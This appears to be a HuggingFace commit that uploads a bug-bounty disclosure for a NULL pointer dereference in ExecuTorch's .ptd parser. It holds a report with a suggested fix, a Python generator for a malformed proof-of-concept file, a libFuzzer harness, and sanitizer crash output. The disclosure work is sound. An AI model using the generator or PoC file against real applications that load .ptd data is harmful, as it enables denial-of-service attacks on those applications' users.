tsk-arasu commited on
Commit
0ef171e
·
verified ·
1 Parent(s): a020eea

Upload folder using huggingface_hub

Browse files
REPORT.md ADDED
@@ -0,0 +1,148 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # Null Pointer Dereference in ExecuTorch create_tensor_layout() via Missing TensorLayout.sizes (.ptd)
2
+
3
+ **Target:** ExecuTorch 1.3.1 (.ptd, huntr Model File Vulnerability program)
4
+ **Severity:** Low-Medium (Denial of Service)
5
+ **CWE:** CWE-476 (NULL Pointer Dereference)
6
+ **Component:** `extension/flat_tensor/flat_tensor_data_map.cpp`
7
+ **Authentication Required:** No — only requires a victim application to load an attacker-supplied `.ptd` file and call a public API.
8
+
9
+ ## Summary
10
+
11
+ `NamedData.tensor_layout` (a `TensorLayout` table) can be present in a `.ptd` file while its own `sizes` field (and/or `dim_order`) is itself omitted — `sizes: [int32]` and `dim_order: [uint8]` are both ordinary, non-required fields in the schema. `create_tensor_layout()` dereferences `tensor_layout->sizes()->size()` without checking `sizes()` for null. This is a distinct, deeper defect than a simple "is `tensor_layout` itself present" check: a `NamedData` entry can have a fully non-null `tensor_layout` table and still crash the parser, because the crash is one level further down in the field hierarchy.
12
+
13
+ **Confirmed against the pristine, unmodified ExecuTorch 1.3.1 source** — this is a real defect in the shipped code, not an artifact of any local investigation tooling.
14
+
15
+ ## Vulnerability Details
16
+
17
+ `extension/flat_tensor/serialize/flat_tensor.fbs`:
18
+
19
+ ```
20
+ table TensorLayout {
21
+ scalar_type: executorch_flatbuffer.ScalarType;
22
+ sizes: [int32]; // not required
23
+ dim_order: [uint8]; // not required
24
+ }
25
+ ```
26
+
27
+ `extension/flat_tensor/flat_tensor_data_map.cpp` (pristine 1.3.1 source, lines 97–108):
28
+
29
+ ```cpp
30
+ Result<const TensorLayout> create_tensor_layout(
31
+ const flat_tensor_flatbuffer::TensorLayout* tensor_layout) {
32
+ ScalarType scalar_type =
33
+ static_cast<ScalarType>(tensor_layout->scalar_type());
34
+ const int dim = tensor_layout->sizes()->size(); // <-- crash site: sizes() may be null
35
+ const auto serialized_sizes = tensor_layout->sizes()->data();
36
+ const auto serialized_dim_order = tensor_layout->dim_order()->data();
37
+ return TensorLayout::create(
38
+ Span<const int32_t>(serialized_sizes, dim),
39
+ Span<const uint8_t>(serialized_dim_order, dim),
40
+ scalar_type);
41
+ }
42
+ ```
43
+
44
+ Note: this is the *unmodified upstream line numbering* (line 101 in the actual shipped 1.3.1 source tree; some of this report's supporting artifacts were produced against a locally-patched copy for unrelated reasons — see the Verification section below for the pristine-source confirmation).
45
+
46
+ `get_named_data()`'s validation (`segment_index` bounds, segment offset/size overflow checks) never inspects the internal fields of `tensor_layout` — it only validates the `NamedData` entry's own `segment_index`. No code path — not `get_named_data()`, not `create_tensor_layout()`, not `TensorLayout::create()` in `runtime/core/tensor_layout.cpp` — checks whether `tensor_layout->sizes()` or `tensor_layout->dim_order()` are non-null before they are used.
47
+
48
+ ## Steps to Reproduce
49
+
50
+ ### Environment
51
+ Same sanitized build and harness as REPORT-01 (identical `poc/harness_flat_tensor_fuzzer.cpp`, identical build commands against the **pristine, unmodified** ExecuTorch 1.3.1 source tree).
52
+
53
+ ### 1. PoC file
54
+
55
+ `poc/poc_tensorlayout_sizes_null.ptd` (272 bytes, **included in this report — sha256 `f9c20d5697f9d147938eb31b188a14f82767252af47f5075358b7bc98c802476`**) is a well-formed `.ptd` file with:
56
+ - One `NamedData` entry: `key = "weight1"`, `segment_index = 0`
57
+ - `tensor_layout` **present** (non-null), with `scalar_type` set to a valid value
58
+ - `tensor_layout.sizes` **omitted**
59
+
60
+ This exact file was found via coverage-guided fuzzing and is included verbatim — it is the precise reproducer verified below, not a re-derived approximation.
61
+
62
+ > **Note on `poc/gen_poc.py`:** a deterministic regeneration script is included for transparency and to demonstrate the minimal JSON shape that triggers this bug, but flatc's table-encoding is not guaranteed to be byte-identical across independently-constructed JSON inputs that describe the same logical structure. The regenerated file **triggers the identical crash** (`flat_tensor_data_map.cpp:101:43`, same `runtime error: member call on null pointer of type 'flatbuffers::Vector<int>'`) but is not byte-for-byte identical to the included PoC. **Use the included `poc_tensorlayout_sizes_null.ptd` file directly for exact reproduction**; use `gen_poc.py` only to understand or reconstruct the minimal triggering structure.
63
+
64
+ ### 2. Build the harness and trigger the crash
65
+
66
+ ```bash
67
+ export ET_PARENT=/path/to/parent-of-executorch
68
+ C10_INC="$ET_SRC/runtime/core/portable_type/c10"
69
+ INCLUDES="-I$ET_PARENT -I$ET_BUILD -I$ET_BUILD/schema/include -I$ET_BUILD/extension/flat_tensor/include -I$ET_BUILD/third-party/flatc_ep/include -I$C10_INC"
70
+
71
+ clang++-16 -std=c++17 -fsanitize=fuzzer,address,undefined -fno-omit-frame-pointer -fno-sanitize-recover=all \
72
+ $INCLUDES -DFLATBUFFERS_MAX_ALIGNMENT=1024 -DC10_USING_CUSTOM_GENERATED_MACROS \
73
+ -c poc/harness_flat_tensor_fuzzer.cpp -o harness.o
74
+
75
+ clang++-16 -fsanitize=fuzzer,address,undefined -o poc_harness harness.o \
76
+ "$ET_BUILD/extension/flat_tensor/libextension_flat_tensor.a" \
77
+ "$ET_BUILD/extension/data_loader/libextension_data_loader.a" \
78
+ "$ET_BUILD/libexecutorch_core.a"
79
+
80
+ export ASAN_OPTIONS="abort_on_error=1:symbolize=0"
81
+ export UBSAN_OPTIONS="halt_on_error=1:print_stacktrace=0"
82
+ ./poc_harness -timeout=5 -runs=0 poc/poc_tensorlayout_sizes_null.ptd
83
+ ```
84
+
85
+ ### Expected result (secure behavior)
86
+ `get_tensor_layout("weight1")` should return a clean `Error::InvalidExternalData`, since a `TensorLayout` with no `sizes` cannot describe a valid tensor shape.
87
+
88
+ ### Actual result — verified against the pristine (unmodified) ExecuTorch 1.3.1 source
89
+
90
+ ```
91
+ Running: poc/poc_tensorlayout_sizes_null.ptd
92
+ extension/flat_tensor/flat_tensor_data_map.cpp:101:43: runtime error: member call on null pointer of type 'flatbuffers::Vector<int>'
93
+ SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior extension/flat_tensor/flat_tensor_data_map.cpp:101:43 in
94
+ ==<pid>== ERROR: libFuzzer: deadly signal
95
+ ```
96
+
97
+ **Reproduced 3/3 identical runs against the pristine, unmodified source tree** (re-verified live for this report, not against any locally-modified copy):
98
+ ```
99
+ run 1: extension/flat_tensor/flat_tensor_data_map.cpp:101:43: runtime error: member call on null pointer of type 'flatbuffers::Vector<int>'
100
+ run 2: (identical)
101
+ run 3: (identical)
102
+ ```
103
+
104
+ ## Impact
105
+
106
+ **Who is affected:** Any application calling `FlatTensorDataMap::get_tensor_layout()` or `load_data_into()` on a `NamedData` entry whose `tensor_layout` is present but incomplete.
107
+
108
+ **What the attacker can do:** Cause a deterministic crash with a `.ptd` file that appears more "valid" than the minimal ET-NEW-001 case (it has a non-null `tensor_layout` table with a set `scalar_type`) — meaning a shallow "is `tensor_layout` null" check alone is insufficient defense; the internal fields of that table must also be validated.
109
+
110
+ **What's at risk:** Availability only. No memory corruption or code execution.
111
+
112
+ **Why not Critical:** Same reasoning as the other null-pointer-dereference findings in this codebase — a controlled crash, not a memory-safety violation.
113
+
114
+ ## Suggested Remediation
115
+
116
+ In `create_tensor_layout()`, after checking `tensor_layout` itself for null, additionally check its `sizes` and `dim_order` fields:
117
+
118
+ ```cpp
119
+ Result<const TensorLayout> create_tensor_layout(
120
+ const flat_tensor_flatbuffer::TensorLayout* tensor_layout) {
121
+ if (tensor_layout == nullptr) {
122
+ return Error::InvalidExternalData;
123
+ }
124
+ ScalarType scalar_type = static_cast<ScalarType>(tensor_layout->scalar_type());
125
+ if (tensor_layout->sizes() == nullptr || tensor_layout->dim_order() == nullptr) {
126
+ return Error::InvalidExternalData;
127
+ }
128
+ const int dim = tensor_layout->sizes()->size();
129
+ const auto serialized_sizes = tensor_layout->sizes()->data();
130
+ const auto serialized_dim_order = tensor_layout->dim_order()->data();
131
+ return TensorLayout::create(
132
+ Span<const int32_t>(serialized_sizes, dim),
133
+ Span<const uint8_t>(serialized_dim_order, dim),
134
+ scalar_type);
135
+ }
136
+ ```
137
+
138
+ A regression test should build a `.ptd` `NamedData.tensor_layout` with `sizes`/`dim_order` omitted and assert a clean `Error` return.
139
+
140
+ ## Files Included in This Report
141
+
142
+ - `poc/poc_tensorlayout_sizes_null.ptd` — the exact 272-byte PoC file used for all verification in this report (sha256 `f9c20d5697f9d147938eb31b188a14f82767252af47f5075358b7bc98c802476`)
143
+ - `poc/gen_poc.py` — illustrative regeneration script (produces an equivalent-but-not-byte-identical file that triggers the same crash line — see note above)
144
+ - `poc/harness_flat_tensor_fuzzer.cpp` — the harness used to trigger and reproduce the crash
145
+
146
+ ## huntr Submission Note
147
+
148
+ Per the huntr MFV program's submission requirements, this PoC needs to be uploaded to a public HuggingFace repository before filing. `poc/poc_tensorlayout_sizes_null.ptd` is ready for that upload.
poc/gen_poc.py ADDED
@@ -0,0 +1,109 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #!/usr/bin/env python3
2
+ """
3
+ Generates poc_tensorlayout_sizes_null.ptd - a well-formed .ptd file whose
4
+ single NamedData entry has a PRESENT (non-null) tensor_layout table, but
5
+ that table's own `sizes` field is omitted (dim_order is also omitted in
6
+ this PoC; either omission alone triggers the same crash class).
7
+
8
+ Requires: flatc (built from ExecuTorch's vendored third-party/flatbuffers)
9
+ and the project's flat_tensor.fbs / scalar_type.fbs schema files.
10
+
11
+ Usage:
12
+ python3 gen_poc.py /path/to/executorch/extension/flat_tensor/serialize /path/to/flatc
13
+ """
14
+ import os
15
+ import struct
16
+ import subprocess
17
+ import sys
18
+ import tempfile
19
+
20
+
21
+ def build(schema_dir: str, flatc: str, out_path: str) -> None:
22
+ with tempfile.TemporaryDirectory() as d:
23
+ for fname in ("flat_tensor.fbs", "scalar_type.fbs"):
24
+ with open(os.path.join(schema_dir, fname), "rb") as src:
25
+ data = src.read()
26
+ with open(os.path.join(d, fname), "wb") as dst:
27
+ dst.write(data)
28
+
29
+ # NamedData entry with tensor_layout PRESENT but its scalar_type set
30
+ # and sizes/dim_order OMITTED.
31
+ json_path = os.path.join(d, "flat_tensor.json")
32
+ with open(json_path, "w") as f:
33
+ f.write(
34
+ """{
35
+ "version": 0,
36
+ "segments": [ { "offset": 0, "size": 16 } ],
37
+ "named_data": [
38
+ {
39
+ "key": "weight1",
40
+ "segment_index": 0,
41
+ "tensor_layout": { "scalar_type": 6 }
42
+ }
43
+ ]
44
+ }"""
45
+ )
46
+
47
+ subprocess.run(
48
+ [flatc, "--binary", "flat_tensor.fbs", "flat_tensor.json"],
49
+ cwd=d,
50
+ check=True,
51
+ )
52
+
53
+ with open(os.path.join(d, "flat_tensor.ptd"), "rb") as f:
54
+ raw_fb = f.read()
55
+
56
+ EXPECTED_MAGIC = b"FH01"
57
+ HEADER_LEN = 40
58
+ FLATBUFFER_ALIGNMENT = 16
59
+ SEGMENT_ALIGNMENT = 128
60
+
61
+ def aligned_size(n, align):
62
+ return (n + align - 1) // align * align
63
+
64
+ def pad_to(data, length):
65
+ assert len(data) <= length
66
+ return data + bytes(length - len(data))
67
+
68
+ def insert_header(flatbuffer_data: bytes, header_data: bytes) -> bytes:
69
+ root_offset = int.from_bytes(flatbuffer_data[0:4], "little")
70
+ return (
71
+ (root_offset + len(header_data)).to_bytes(4, "little")
72
+ + flatbuffer_data[4:8]
73
+ + header_data
74
+ + flatbuffer_data[8:]
75
+ )
76
+
77
+ padded_header_length = aligned_size(HEADER_LEN, FLATBUFFER_ALIGNMENT)
78
+ segment_data = bytes([0x11] * 16)
79
+
80
+ flatbuffer_offset = padded_header_length
81
+ flatbuffer_size = len(raw_fb)
82
+ segment_base_offset = aligned_size(flatbuffer_offset + flatbuffer_size, SEGMENT_ALIGNMENT)
83
+ segment_data_size = len(segment_data)
84
+
85
+ header_data = (
86
+ EXPECTED_MAGIC
87
+ + struct.pack("<I", HEADER_LEN)
88
+ + struct.pack("<Q", flatbuffer_offset)
89
+ + struct.pack("<Q", flatbuffer_size)
90
+ + struct.pack("<Q", segment_base_offset)
91
+ + struct.pack("<Q", segment_data_size)
92
+ )
93
+ header_data = pad_to(header_data, padded_header_length)
94
+
95
+ injected = insert_header(raw_fb, header_data)
96
+ injected = pad_to(injected, segment_base_offset)
97
+ final = injected + segment_data
98
+
99
+ with open(out_path, "wb") as f:
100
+ f.write(final)
101
+
102
+ print(f"Wrote {out_path} ({len(final)} bytes)")
103
+
104
+
105
+ if __name__ == "__main__":
106
+ if len(sys.argv) != 3:
107
+ print(__doc__)
108
+ sys.exit(1)
109
+ build(sys.argv[1], sys.argv[2], os.path.join(os.path.dirname(__file__), "poc_tensorlayout_sizes_null.ptd"))
poc/harness_flat_tensor_fuzzer.cpp ADDED
@@ -0,0 +1,56 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ // libFuzzer harness for executorch::extension::FlatTensorDataMap::load()
2
+ // Targets the .ptd flatbuffer parsing path (extension/flat_tensor/flat_tensor_data_map.cpp).
3
+ // Authorized local testing only - huntr MFV scope: ExecuTorch .pte/.ptd parser.
4
+
5
+ #include <cstddef>
6
+ #include <cstdint>
7
+
8
+ #include <executorch/extension/data_loader/buffer_data_loader.h>
9
+ #include <executorch/extension/flat_tensor/flat_tensor_data_map.h>
10
+ #include <executorch/runtime/platform/runtime.h>
11
+
12
+ using executorch::extension::BufferDataLoader;
13
+ using executorch::extension::FlatTensorDataMap;
14
+
15
+ static bool g_initialized = false;
16
+
17
+ extern "C" int LLVMFuzzerTestOneInput(const std::uint8_t* data, std::size_t size) {
18
+ if (!g_initialized) {
19
+ executorch::runtime::runtime_init();
20
+ g_initialized = true;
21
+ }
22
+
23
+ constexpr std::size_t kMaxInput = 32U * 1024U * 1024U;
24
+ if (data == nullptr || size == 0 || size > kMaxInput) {
25
+ return 0;
26
+ }
27
+
28
+ BufferDataLoader loader(data, size);
29
+ auto map = FlatTensorDataMap::load(&loader);
30
+ if (!map.ok()) {
31
+ return 0;
32
+ }
33
+
34
+ auto& m = map.get();
35
+ auto num_keys_res = m.get_num_keys();
36
+ if (num_keys_res.ok()) {
37
+ uint32_t n = num_keys_res.get();
38
+ // Bound the loop - malicious n could be huge but get_key() range-checks it.
39
+ uint32_t iter = n > 4096 ? 4096 : n;
40
+ for (uint32_t i = 0; i < iter; ++i) {
41
+ auto key_res = m.get_key(i);
42
+ if (key_res.ok()) {
43
+ auto layout = m.get_tensor_layout(executorch::aten::string_view(key_res.get()));
44
+ if (layout.ok()) {
45
+ (void)layout.get().nbytes();
46
+ }
47
+ auto data_res = m.get_data(executorch::aten::string_view(key_res.get()));
48
+ if (data_res.ok()) {
49
+ data_res.get().Free();
50
+ }
51
+ }
52
+ }
53
+ }
54
+
55
+ return 0;
56
+ }
poc/poc_tensorlayout_sizes_null.ptd ADDED
Binary file (272 Bytes). View file